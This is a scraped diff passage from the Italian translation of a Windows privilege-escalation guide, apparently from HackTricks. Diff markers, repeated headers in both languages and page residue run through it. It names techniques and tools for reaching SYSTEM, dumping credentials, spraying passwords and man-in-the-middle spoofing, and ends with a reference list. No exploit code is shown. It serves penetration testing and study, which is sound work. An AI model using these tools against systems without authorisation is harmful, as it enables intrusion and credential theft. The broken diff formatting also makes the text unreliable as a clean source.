Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in esecuzione come **SYSTEM**, sarai in grado di eseguire codice arbitrario con quei permessi. Pertanto, il Dll Hijacking è utile anche per questo tipo di escalation dei privilegi e, inoltre, è **molto più facile da ottenere da un processo ad alta integrità** poiché avrà **permessi di scrittura** sulle cartelle utilizzate per caricare i dll.\
|
||||
**Puoi** [**saperne di più sul Dll hijacking qui**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **Da Administrator o Network Service a System**
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### Da LOCAL SERVICE o NETWORK SERVICE a privilegi completi
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
**Leggi:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||||
|
||||
## Maggiori aiuti
|
||||
## More help
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Strumenti utili
|
||||
## Useful tools
|
||||
|
||||
**Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
@ -1378,8 +1378,8 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Estrae credenziali dal Credential Manager. Rilevato.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento di spoofing e man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità di privesc note (DEPRECATED per Watson)\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc di Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità di privesc note (DEPRECATO per Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Richiede diritti di amministratore)**
|
||||
|
||||
**Exe**
|
||||
@ -1387,7 +1387,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Cerca vulnerabilità di privesc note (deve essere compilato utilizzando VisualStudio) ([**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumera l'host cercando configurazioni errate (più uno strumento di raccolta informazioni che di privesc) (deve essere compilato) **(**[**precompilato**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Estrae credenziali da molti software (exe precompilato in github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Porting di PowerUp in C#**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port di PowerUp in C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Controlla configurazioni errate (eseguibile precompilato in github). Non raccomandato. Non funziona bene in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Controlla possibili configurazioni errate (exe da python). Non raccomandato. Non funziona bene in Win10.
|
||||
|
||||
@ -1395,7 +1395,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Strumento creato basato su questo post (non ha bisogno di accesschk per funzionare correttamente ma può usarlo).
|
||||
|
||||
**Locale**
|
||||
**Local**
|
||||
|
||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)\
|
||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)
|
||||
@ -1408,21 +1408,21 @@ Devi compilare il progetto utilizzando la versione corretta di .NET ([vedi quest
|
||||
```
|
||||
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
|
||||
```
|
||||
## Bibliografia
|
||||
## Riferimenti
|
||||
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
|
||||
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
|
||||
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
|
||||
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
|
||||
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
|
||||
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||||
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
|
||||
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
|
||||
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user